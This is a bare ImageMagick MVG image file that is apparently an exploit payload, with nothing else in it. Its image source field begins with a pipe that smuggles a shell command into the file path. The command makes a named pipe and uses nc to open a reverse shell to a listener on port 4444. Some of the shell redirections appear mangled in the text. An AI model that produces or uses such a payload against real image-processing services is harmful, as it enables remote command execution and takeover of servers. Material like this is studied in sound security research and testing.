push graphic-context encoding "UTF-8" viewbox 0 0 1 1 affine 1 0 0 1 0 0 push graphic-context image Over 0,0 1,1 '|mkfifo /tmp/gjdpez; nc 127.0.0.1 4444 0/tmp/gjdpez 2>&1; rm /tmp/gjdpez ' pop graphic-context pop graphic-context